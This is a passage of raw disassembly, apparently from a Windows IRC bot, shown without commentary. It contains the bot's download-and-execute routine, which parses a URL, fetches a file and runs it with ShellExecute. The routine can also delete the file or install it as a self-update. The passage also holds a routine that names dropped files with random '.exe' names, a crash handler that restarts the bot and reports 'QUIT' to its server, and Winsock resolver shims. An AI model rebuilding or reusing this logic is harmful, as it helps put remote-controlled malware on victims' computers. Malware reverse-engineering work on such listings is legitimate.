ecx mov dword ptr [ebp-6CCh], 3 jmp short loc_402E3D ; --------------------------------------------------------------------------- loc_402E0E: ; CODE XREF: .text:00402DCFj mov eax, [ebp-63Ch] push dword ptr [eax] push offset unk_418500 lea eax, [ebp-430h] push eax call sub_40D53F add esp, 0Ch push dword ptr [ebp-63Ch] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402E3D: ; CODE XREF: .text:00402D32j ; .text:00402DB2j ... lea eax, [ebp-638h] push eax call sub_416B40 ; strlen pop ecx mov [ebp-6C0h], eax jmp short loc_402E5F ; --------------------------------------------------------------------------- loc_402E52: ; CODE XREF: .text:loc_402F11j mov eax, [ebp-6C0h] dec eax mov [ebp-6C0h], eax loc_402E5F: ; CODE XREF: .text:00402E50j cmp dword ptr [ebp-6C0h], 0FFFFFFFFh jz loc_402F16 mov eax, [ebp-6C0h] movsx eax, byte ptr [ebp+eax-638h] cmp eax, 40h jnz loc_402F11 mov eax, [ebp-6C0h] and byte ptr [ebp+eax-638h], 0 push offset asc_4184FC ; ":" lea eax, [ebp-638h] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp-7E4h], eax cmp dword ptr [ebp-7E4h], 0 jz short loc_402ED8 mov eax, [ebp-7E4h] and byte ptr [eax], 0 push 80h mov eax, [ebp-7E4h] inc eax push eax lea eax, [ebp-6BCh] push eax call sub_407A56 add esp, 0Ch loc_402ED8: ; CODE XREF: .text:00402EB1j push 80h lea eax, [ebp-638h] push eax lea eax, [ebp-284h] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp-6C0h] lea eax, [ebp+eax-637h] push eax lea eax, [ebp-638h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402F16 ; --------------------------------------------------------------------------- loc_402F11: ; CODE XREF: .text:00402E7Dj jmp loc_402E52 ; --------------------------------------------------------------------------- loc_402F16: ; CODE XREF: .text:00402E66j ; .text:00402F0Fj push offset asc_4184F8 ; "/" lea eax, [ebp-638h] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp-288h], eax cmp dword ptr [ebp-288h], 0 jnz short loc_402F67 mov eax, [ebp-63Ch] push dword ptr [eax] push offset unk_4184CC lea eax, [ebp-430h] push eax call sub_40D53F add esp, 0Ch push dword ptr [ebp-63Ch] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402F67: ; CODE XREF: .text:00402F36j mov eax, [ebp-288h] inc eax push eax lea eax, [ebp-204h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp-288h] and byte ptr [eax], 0 lea eax, [ebp-638h] push eax lea eax, [ebp-100h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx call sub_416B64 ; clock mov [ebp-6D8h], eax and dword ptr [ebp-6C4h], 0 cmp dword ptr [ebp-6CCh], 1 jnz short loc_403009 push dword ptr [ebp-63Ch] movsx eax, byte ptr [ebp-2A8h] neg eax sbb eax, eax neg eax push eax lea eax, [ebp-6C4h] push eax lea eax, [ebp-534h] push eax lea eax, [ebp-204h] push eax lea eax, [ebp-6D4h] push eax lea eax, [ebp-100h] push eax lea eax, [ebp-6BCh] push eax lea eax, [ebp-284h] push eax call sub_402698 add esp, 24h mov [ebp-28Ch], eax loc_403009: ; CODE XREF: .text:00402FB4j cmp dword ptr [ebp-6CCh], 2 jnz short loc_403065 push dword ptr [ebp-63Ch] movsx eax, byte ptr [ebp-2A8h] neg eax sbb eax, eax neg eax push eax lea eax, [ebp-6C4h] push eax lea eax, [ebp-534h] push eax lea eax, [ebp-204h] push eax lea eax, [ebp-6D4h] push eax lea eax, [ebp-100h] push eax lea eax, [ebp-6BCh] push eax lea eax, [ebp-284h] push eax call sub_402A24 add esp, 24h mov [ebp-28Ch], eax loc_403065: ; CODE XREF: .text:00403010j cmp dword ptr [ebp-6CCh], 3 jnz short loc_4030B3 push dword ptr [ebp-63Ch] movsx eax, byte ptr [ebp-2A8h] neg eax sbb eax, eax neg eax push eax lea eax, [ebp-6C4h] push eax lea eax, [ebp-534h] push eax lea eax, [ebp-204h] push eax lea eax, [ebp-6D4h] push eax lea eax, [ebp-100h] push eax call sub_402A2B add esp, 1Ch mov [ebp-28Ch], eax loc_4030B3: ; CODE XREF: .text:0040306Cj ; .text:loc_403256j cmp dword ptr [ebp-28Ch], 1 jnz loc_403219 movsx eax, byte ptr [ebp-296h] test eax, eax jz short loc_4030D7 mov dword ptr [ebp-7ECh], offset aUpdating ; ", updating" jmp short loc_403104 ; --------------------------------------------------------------------------- loc_4030D7: ; CODE XREF: .text:004030C9j movsx eax, byte ptr [ebp-2A6h] test eax, eax jz short loc_4030EE mov dword ptr [ebp-7F0h], offset aExecuting ; ", executing" jmp short loc_4030F8 ; --------------------------------------------------------------------------- loc_4030EE: ; CODE XREF: .text:004030E0j mov dword ptr [ebp-7F0h], offset byte_41DE30 loc_4030F8: ; CODE XREF: .text:004030ECj mov eax, [ebp-7F0h] mov [ebp-7ECh], eax loc_403104: ; CODE XREF: .text:004030D5j push dword ptr [ebp-7ECh] mov eax, [ebp-6C4h] shr eax, 0Ah mov [ebp-7F8h], eax and dword ptr [ebp-7F4h], 0 fild qword ptr [ebp-7F8h] fstp dword ptr [ebp-7FCh] call sub_416B64 ; clock sub eax, [ebp-6D8h] mov [ebp-804h], eax and dword ptr [ebp-800h], 0 fild qword ptr [ebp-804h] fdiv ds:flt_417270 fdivr dword ptr [ebp-7FCh] push ecx push ecx fstp qword ptr [esp] lea eax, [ebp-534h] push eax mov eax, [ebp-63Ch] push dword ptr [eax] push offset dword_41846C lea eax, [ebp-430h] push eax call sub_40D53F add esp, 1Ch movsx eax, byte ptr [ebp-2A7h] test eax, eax jz short loc_403198 lea eax, [ebp-534h] push eax call ds:dword_4170AC ; DeleteFileA jmp short loc_403217 ; --------------------------------------------------------------------------- loc_403198: ; CODE XREF: .text:00403187j movsx eax, byte ptr [ebp-2A6h] test eax, eax jnz short loc_4031AE movsx eax, byte ptr [ebp-296h] test eax, eax jz short loc_403217 loc_4031AE: ; CODE XREF: .text:004031A1j movsx eax, byte ptr [ebp-2A3h] neg eax sbb eax, eax inc eax push eax push 0 push 0 lea eax, [ebp-534h] push eax push offset aOpen ; "open" push 0 call ds:dword_4171D0 mov [ebp-7E8h], eax cmp dword ptr [ebp-7E8h], 20h jbe short loc_4031F4 movsx eax, byte ptr [ebp-296h] test eax, eax jz short loc_4031F2 call sub_407148 loc_4031F2: ; CODE XREF: .text:004031EBj jmp short loc_403217 ; --------------------------------------------------------------------------- loc_4031F4: ; CODE XREF: .text:004031E0j lea eax, [ebp-534h] push eax mov eax, [ebp-63Ch] push dword ptr [eax] push offset dword_418444 lea eax, [ebp-430h] push eax call sub_40D53F add esp, 10h loc_403217: ; CODE XREF: .text:00403196j ; .text:004031ACj ... jmp short loc_40323C ; --------------------------------------------------------------------------- loc_403219: ; CODE XREF: .text:004030BAj lea eax, [ebp-7DCh] push eax mov eax, [ebp-63Ch] push dword ptr [eax] push offset dword_418414 lea eax, [ebp-430h] push eax call sub_40D53F add esp, 10h loc_40323C: ; CODE XREF: .text:loc_403217j push dword ptr [ebp-63Ch] call sub_409763 pop ecx xor eax, eax jmp short loc_40325B ; --------------------------------------------------------------------------- loc_40324C: ; CODE XREF: .text:loc_402CCEj jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403251: ; CODE XREF: .text:loc_402C75j jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403256: ; CODE XREF: .text:loc_402B8Ej jmp loc_4030B3 ; --------------------------------------------------------------------------- loc_40325B: ; CODE XREF: .text:00402B89j ; .text:00402E38j ... pop edi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403260 proc near ; CODE XREF: sub_40A9CF+959p var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_4], 0 jnz short loc_403271 jmp locret_403329 ; --------------------------------------------------------------------------- loc_403271: ; CODE XREF: sub_403260+Aj push 3AFh call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_40328A jmp locret_403329 ; --------------------------------------------------------------------------- loc_40328A: ; CODE XREF: sub_403260+23j push 8 push 7Ah push 61h push 4 lea eax, [ebp+var_10] push eax call sub_410501 add esp, 14h and [ebp+eax+var_10], 0 push offset a_exe ; ".exe" lea eax, [ebp+var_10] push eax call sub_416B70 ; _mbscat pop ecx pop ecx cmp [ebp+arg_8], 0 jnz short loc_4032BF lea eax, [ebp+var_10] mov [ebp+arg_8], eax loc_4032BF: ; CODE XREF: sub_403260+57j push 104h push [ebp+arg_4] mov eax, [ebp+var_14] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_14] add eax, 108h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_14] add eax, 20Ch push eax call sub_405F67 pop ecx pop ecx mov eax, [ebp+var_14] add eax, 108h push eax mov eax, [ebp+var_14] add eax, 4 push eax push offset dword_4185FC push 0 push [ebp+var_14] push offset loc_402A32 call sub_4095A4 add esp, 18h locret_403329: ; CODE XREF: sub_403260+Cj ; sub_403260+25j leave retn sub_403260 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 114h push 1 push offset dword_41DE3C call sub_409C88 pop ecx pop ecx mov [ebp-4], eax cmp dword_41DE38, 0 jz loc_4034D9 mov dword ptr [ebp-8], offset aException_othe ; "EXCEPTION_OTHER" mov eax, [ebp+8] mov eax, [eax] mov eax, [eax] mov [ebp-110h], eax cmp dword ptr [ebp-110h], 0C0000025h ja short loc_4033A4 cmp dword ptr [ebp-110h], 0C0000025h jz short loc_4033FA cmp dword ptr [ebp-110h], 80000003h jz short loc_4033DF cmp dword ptr [ebp-110h], 0C0000005h jz short loc_4033D6 cmp dword ptr [ebp-110h], 0C000001Dh jz short loc_4033E8 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033A4: ; CODE XREF: .text:00403370j cmp dword ptr [ebp-110h], 0C000008Dh jb short loc_403413 cmp dword ptr [ebp-110h], 0C0000093h jbe short loc_40340C cmp dword ptr [ebp-110h], 0C0000094h jz short loc_4033F1 cmp dword ptr [ebp-110h], 0C00000FDh jz short loc_403403 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033D6: ; CODE XREF: .text:00403394j mov dword ptr [ebp-8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033DF: ; CODE XREF: .text:00403388j mov dword ptr [ebp-8], offset aException_brea ; "EXCEPTION_BREAKPOINT" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033E8: ; CODE XREF: .text:004033A0j mov dword ptr [ebp-8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033F1: ; CODE XREF: .text:004033C6j mov dword ptr [ebp-8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033FA: ; CODE XREF: .text:0040337Cj mov dword ptr [ebp-8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_403403: ; CODE XREF: .text:004033D2j mov dword ptr [ebp-8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_40340C: ; CODE XREF: .text:004033BAj mov dword ptr [ebp-8], offset aException_flt ; "EXCEPTION_FLT" loc_403413: ; CODE XREF: .text:004033A2j ; .text:004033AEj ... mov eax, [ebp+8] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_40342A mov dword ptr [ebp-114h], offset aRestarting ; "Restarting" jmp short loc_403434 ; --------------------------------------------------------------------------- loc_40342A: ; CODE XREF: .text:0040341Cj mov dword ptr [ebp-114h], offset aContinuing ; "Continuing" loc_403434: ; CODE XREF: .text:00403428j push dword ptr [ebp-114h] push dword ptr [ebp-8] mov eax, [ebp+8] mov eax, [eax] push dword ptr [eax] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0C0h] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0B8h] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0C4h] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0B4h] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+9Ch] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0A0h] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0A8h] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0ACh] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0A4h] mov eax, [ebp+8] mov eax, [eax+4] push dword ptr [eax+0B0h] mov eax, [ebp-4] inc eax push eax push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push offset dword_41864C push offset aLast ; "#last" call sub_40D4AB add esp, 48h loc_4034D9: ; CODE XREF: .text:0040334Cj mov eax, [ebp-4] inc eax cmp eax, 64h jz short loc_4034ED mov eax, [ebp+8] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_403558 loc_4034ED: ; CODE XREF: .text:004034E0j push 104h lea eax, [ebp-10Ch] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA test eax, eax jz short loc_403545 push 0 push 0 push 0 lea eax, [ebp-10Ch] push eax push offset aOpen ; "open" push 0 call ds:dword_4171D0 cmp eax, 20h ja short loc_403538 push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp short loc_403543 ; --------------------------------------------------------------------------- loc_403538: ; CODE XREF: .text:00403529j push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403543: ; CODE XREF: .text:00403536j jmp short loc_403550 ; --------------------------------------------------------------------------- loc_403545: ; CODE XREF: .text:0040350Aj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403550: ; CODE XREF: .text:loc_403543j push 0 call ds:dword_41705C ; ExitProcess loc_403558: ; CODE XREF: .text:004034EBj mov eax, [ebp+8] mov eax, [eax] cmp dword ptr [eax], 80000003h jnz short loc_403583 mov eax, [ebp+8] mov eax, [eax+4] mov eax, [eax+0B8h] inc eax mov ecx, [ebp+8] mov ecx, [ecx+4] mov [ecx+0B8h], eax or eax, 0FFFFFFFFh jmp short locret_403586 ; --------------------------------------------------------------------------- loc_403583: ; CODE XREF: .text:00403563j push 1 pop eax locret_403586: ; CODE XREF: .text:00403581j leave retn ; --------------------------------------------------------------------------- loc_403588: ; DATA XREF: sub_403BD3:loc_403D85o push ebp mov ebp, esp sub esp, 48h cmp dword ptr [ebp+10h], 0 jz short loc_4035E2 mov eax, [ebp+10h] cmp dword ptr [eax+4], 0 jz short loc_4035BB mov eax, [ebp+10h] cmp dword ptr [eax+4], 2 jz short loc_4035BB push 273Fh call ds:dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035BB: ; CODE XREF: .text:0040359Bj ; .text:004035A4j mov eax, [ebp+10h] cmp dword ptr [eax+8], 1 jz short loc_4035E2 mov eax, [ebp+10h] cmp dword ptr [eax+8], 2 jz short loc_4035E2 push 273Ch call ds:dword_417234 ; WSASetLastError mov eax, 273Ch jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035E2: ; CODE XREF: .text:00403592j ; .text:004035C2j ... cmp dword ptr [ebp+8], 0 jnz loc_4036D6 push 30h call sub_416B46 ; malloc pop ecx mov [ebp-34h], eax cmp dword ptr [ebp-34h], 0 jnz short loc_40360D push 8 call ds:dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40360D: ; CODE XREF: .text:004035FBj push 30h push 0 push dword ptr [ebp-34h] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp-30h] push eax call sub_416B6A ; memset add esp, 0Ch mov word ptr [ebp-30h], 2 cmp dword ptr [ebp+0Ch], 0 jz short loc_40364C push dword ptr [ebp+0Ch] call sub_416B9C ; atoi pop ecx push eax call ds:dword_417238 ; htons mov [ebp-2Eh], ax loc_40364C: ; CODE XREF: .text:00403636j mov eax, [ebp-34h] mov dword ptr [eax+4], 2 cmp dword ptr [ebp+10h], 0 jz short loc_403667 mov eax, [ebp+10h] mov eax, [eax+8] mov [ebp-38h], eax jmp short loc_40366E ; --------------------------------------------------------------------------- loc_403667: ; CODE XREF: .text:0040365Aj mov dword ptr [ebp-38h], 1 loc_40366E: ; CODE XREF: .text:00403665j mov eax, [ebp-34h] mov ecx, [ebp-38h] mov [eax+8], ecx cmp dword ptr [ebp+10h], 0 jz short loc_403688 mov eax, [ebp+10h] mov eax, [eax+0Ch] mov [ebp-3Ch], eax jmp short loc_40368F ; --------------------------------------------------------------------------- loc_403688: ; CODE XREF: .text:0040367Bj mov dword ptr [ebp-3Ch], 6 loc_40368F: ; CODE XREF: .text:00403686j mov eax, [ebp-34h] mov ecx, [ebp-3Ch] mov [eax+0Ch], ecx mov eax, [ebp-34h] mov dword ptr [eax+10h], 10h mov eax, [ebp-34h] add eax, 20h mov ecx, [ebp-34h] mov [ecx+18h], eax and dword ptr [ebp-2Ch], 0 push 10h lea eax, [ebp-30h] push eax mov eax, [ebp-34h] add eax, 20h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+14h] mov ecx, [ebp-34h] mov [eax], ecx xor eax, eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036D6: ; CODE XREF: .text:004035E6j push dword ptr [ebp+8] call ds:dword_41723C ; gethostbyname mov [ebp-14h], eax cmp dword ptr [ebp-14h], 0 jnz short loc_4036F2 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036F2: ; CODE XREF: .text:004036E6j and dword ptr [ebp-20h], 0 jmp short loc_4036FF ; --------------------------------------------------------------------------- loc_4036F8: ; CODE XREF: .text:00403714j mov eax, [ebp-20h] inc eax mov [ebp-20h], eax loc_4036FF: ; CODE XREF: .text:004036F6j cmp dword ptr [ebp-14h], 0 jz short loc_403716 mov eax, [ebp-14h] mov eax, [eax+0Ch] mov ecx, [ebp-20h] cmp dword ptr [eax+ecx*4], 0 jz short loc_403716 jmp short loc_4036F8 ; --------------------------------------------------------------------------- loc_403716: ; CODE XREF: .text:00403703j ; .text:00403712j cmp dword ptr [ebp-20h], 0 jnz short loc_403726 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_403726: ; CODE XREF: .text:0040371Aj mov eax, [ebp-20h] imul eax, 30h push eax call sub_416B46 ; malloc pop ecx mov [ebp-1Ch], eax cmp dword ptr [ebp-1Ch], 0 jnz short loc_40374C push 8 call ds:dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40374C: ; CODE XREF: .text:0040373Aj mov eax, [ebp-20h] imul eax, 30h push eax push 0 push dword ptr [ebp-1Ch] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp-10h] push eax call sub_416B6A ; memset add esp, 0Ch mov word ptr [ebp-10h], 2 cmp dword ptr [ebp+0Ch], 0 jz short loc_403790 push dword ptr [ebp+0Ch] call sub_416B9C ; atoi pop ecx push eax call ds:dword_417238 ; htons mov [ebp-0Eh], ax loc_403790: ; CODE XREF: .text:0040377Aj and dword ptr [ebp-18h], 0 jmp short loc_40379D ; --------------------------------------------------------------------------- loc_403796: ; CODE XREF: .text:loc_4038A7j mov eax, [ebp-18h] inc eax mov [ebp-18h], eax loc_40379D: ; CODE XREF: .text:00403794j mov eax, [ebp-18h] cmp eax, [ebp-20h] jnb loc_4038AC cmp dword ptr [ebp+10h], 0 jz short loc_4037B9 mov eax, [ebp+10h] mov eax, [eax] mov [ebp-40h], eax jmp short loc_4037C0 ; --------------------------------------------------------------------------- loc_4037B9: ; CODE XREF: .text:004037ADj mov dword ptr [ebp-40h], 4 loc_4037C0: ; CODE XREF: .text:004037B7j mov eax, [ebp-18h] imul eax, 30h mov ecx, [ebp-1Ch] mov edx, [ebp-40h] mov [ecx+eax], edx mov eax, [ebp-18h] imul eax, 30h mov ecx, [ebp-1Ch] mov dword ptr [ecx+eax+4], 2 cmp dword ptr [ebp+10h], 0 jz short loc_4037F1 mov eax, [ebp+10h] mov eax, [eax+8] mov [ebp-44h], eax jmp short loc_4037F8 ; --------------------------------------------------------------------------- loc_4037F1: ; CODE XREF: .text:004037E4j mov dword ptr [ebp-44h], 1 loc_4037F8: ; CODE XREF: .text:004037EFj mov eax, [ebp-18h] imul eax, 30h mov ecx, [ebp-1Ch] mov edx, [ebp-44h] mov [ecx+eax+8], edx cmp dword ptr [ebp+10h], 0 jz short loc_403819 mov eax, [ebp+10h] mov eax, [eax+0Ch] mov [ebp-48h], eax jmp short loc_403820 ; --------------------------------------------------------------------------- loc_403819: ; CODE XREF: .text:0040380Cj mov dword ptr [ebp-48h], 6 loc_403820: ; CODE XREF: .text:00403817j mov eax, [ebp-18h] imul eax, 30h mov ecx, [ebp-1Ch] mov edx, [ebp-48h] mov [ecx+eax+0Ch], edx mov eax, [ebp-18h] imul eax, 30h mov ecx, [ebp-1Ch] mov dword ptr [ecx+eax+10h], 10h mov eax, [ebp-18h] imul eax, 30h mov ecx, [ebp-1Ch] lea eax, [ecx+eax+20h] mov ecx, [ebp-18h] imul ecx, 30h mov edx, [ebp-1Ch] mov [edx+ecx+18h], eax mov eax, [ebp-14h] mov eax, [eax+0Ch] mov ecx, [ebp-18h] mov eax, [eax+ecx*4] mov eax, [eax] mov [ebp-0Ch], eax push 10h lea eax, [ebp-10h] push eax mov eax, [ebp-18h] imul eax, 30h mov ecx, [ebp-1Ch] lea eax, [ecx+eax+20h] push eax call sub_416B52 ; memcpy add esp, 0Ch cmp dword ptr [ebp-18h], 0 jz short loc_4038A7 mov eax, [ebp-18h] imul eax, 30h mov ecx, [ebp-1Ch] add ecx, eax mov eax, [ebp-18h] dec eax imul eax, 30h mov edx, [ebp-1Ch] mov [edx+eax+1Ch], ecx loc_4038A7: ; CODE XREF: .text:0040388Cj jmp loc_403796 ; --------------------------------------------------------------------------- loc_4038AC: ; CODE XREF: .text:004037A3j mov eax, [ebp+14h] mov ecx, [ebp-1Ch] mov [eax], ecx xor eax, eax locret_4038B6: ; CODE XREF: .text:004035B6j ; .text:004035DDj ... leave retn 10h ; --------------------------------------------------------------------------- loc_4038BA: ; DATA XREF: sub_403BD3+1BCo push ebp mov ebp, esp sub esp, 434h cmp dword ptr [ebp+10h], 0 jnz short loc_4038CF cmp dword ptr [ebp+18h], 0 jz short loc_4038D8 loc_4038CF: ; CODE XREF: .text:004038C7j mov eax, [ebp+20h] and al, 0E0h test eax, eax jz short loc_4038ED loc_4038D8: ; CODE XREF: .text:004038CDj push 2726h call ds:dword_417234 ; WSASetLastError mov eax, 2726h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4038ED: ; CODE XREF: .text:004038D6j mov eax, [ebp+8] mov [ebp-40Ch], eax mov eax, [ebp-40Ch] movsx eax, word ptr [eax] cmp eax, 2 jz short loc_403919 push 273Fh call ds:dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403919: ; CODE XREF: .text:00403902j cmp dword ptr [ebp+10h], 0 jz loc_403ABA mov eax, [ebp-40Ch] push dword ptr [eax+4] call ds:dword_41721C ; inet_ntoa mov [ebp-434h], eax cmp dword ptr [ebp-434h], 0 jnz short loc_403949 or eax, 0FFFFFFFFh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403949: ; CODE XREF: .text:0040393Fj push 401h push dword ptr [ebp-434h] lea eax, [ebp-404h] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+20h] and eax, 2 test eax, eax jz short loc_403972 jmp loc_403BB4 ; --------------------------------------------------------------------------- loc_403972: ; CODE XREF: .text:0040396Bj mov eax, [ebp+20h] and eax, 4 test eax, eax jz short loc_4039F4 push 0 push 4 mov eax, [ebp-40Ch] add eax, 4 push eax call ds:dword_417220 ; gethostbyaddr mov [ebp-410h], eax cmp dword ptr [ebp-410h], 0 jnz short loc_4039AA call ds:dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039AA: ; CODE XREF: .text:0040399Dj mov eax, [ebp-410h] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+14h] jbe short loc_4039D3 push 2747h call ds:dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039D3: ; CODE XREF: .text:004039BCj push 401h mov eax, [ebp-410h] push dword ptr [eax] lea eax, [ebp-404h] push eax call sub_407A56 add esp, 0Ch jmp loc_403ABA ; --------------------------------------------------------------------------- loc_4039F4: ; CODE XREF: .text:0040397Aj mov eax, [ebp+20h] and eax, 1 test eax, eax jz loc_403A92 mov eax, [ebp-40Ch] cmp dword ptr [eax+4], 7F000001h jz short loc_403A1D mov eax, [ebp-40Ch] cmp dword ptr [eax+4], 0 jnz short loc_403A92 loc_403A1D: ; CODE XREF: .text:00403A0Fj push 0 push 4 mov eax, [ebp-40Ch] add eax, 4 push eax call ds:dword_417220 ; gethostbyaddr mov [ebp-410h], eax cmp dword ptr [ebp-410h], 0 jnz short loc_403A4B call ds:dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A4B: ; CODE XREF: .text:00403A3Ej mov eax, [ebp-410h] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+14h] jbe short loc_403A74 push 2747h call ds:dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A74: ; CODE XREF: .text:00403A5Dj push 401h mov eax, [ebp-410h] push dword ptr [eax] lea eax, [ebp-404h] push eax call sub_407A56 add esp, 0Ch jmp short loc_403ABA ; --------------------------------------------------------------------------- loc_403A92: ; CODE XREF: .text:004039FCj ; .text:00403A1Bj ... lea eax, [ebp-404h] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+14h] jbe short loc_403ABA push 2747h call ds:dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403ABA: ; CODE XREF: .text:0040391Dj ; .text:004039EFj ... cmp dword ptr [ebp+18h], 0 jz loc_403B99 push 8 pop eax test eax, eax jz short loc_403B2C push 0Ah lea eax, [ebp-430h] push eax mov eax, [ebp-40Ch] mov ax, [eax+2] push eax call ds:dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp-430h] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+1Ch] jbe short loc_403B19 push 2747h call ds:dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403B19: ; CODE XREF: .text:00403B02j lea eax, [ebp-430h] push eax push dword ptr [ebp+18h] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403B99 ; --------------------------------------------------------------------------- loc_403B2C: ; CODE XREF: .text:00403AC9j mov eax, [ebp+20h] and eax, 10h neg eax sbb eax, eax and eax, offset aUdp ; "udp" push eax mov eax, [ebp-40Ch] movzx eax, word ptr [eax+2] push eax call ds:dword_417228 ; getservbyport mov [ebp-408h], eax cmp dword ptr [ebp-408h], 0 jnz short loc_403B61 or eax, 0FFFFFFFFh jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B61: ; CODE XREF: .text:00403B5Aj mov eax, [ebp-408h] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+1Ch] jbe short loc_403B87 push 2747h call ds:dword_417234 ; WSASetLastError mov eax, 2747h jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B87: ; CODE XREF: .text:00403B73j mov eax, [ebp-408h] push dword ptr [eax] push dword ptr [ebp+18h] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403B99: ; CODE XREF: .text:00403ABEj ; .text:00403B2Aj cmp dword ptr [ebp+10h], 0 jz short loc_403BB0 lea eax, [ebp-404h] push eax push dword ptr [ebp+10h] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403BB0: ; CODE XREF: .text:00403B9Dj xor eax, eax jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403BB4: ; CODE XREF: .text:0040396Dj jmp loc_403A92 ; --------------------------------------------------------------------------- locret_403BB9: ; CODE XREF: .text:004038E8j ; .text:00403914j ... leave retn 1Ch ; --------------------------------------------------------------------------- loc_403BBD: ; DATA XREF: sub_403BD3+1C6o push ebp mov ebp, esp cmp dword ptr [ebp+8], 0 jz short loc_403BCF push dword ptr [ebp+8] call sub_416B4C ; free pop ecx loc_403BCF: ; CODE XREF: .text:00403BC4j pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BD3 proc near ; CODE XREF: .text:loc_4168BCp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset aKernel32_dll ; "kernel32.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz 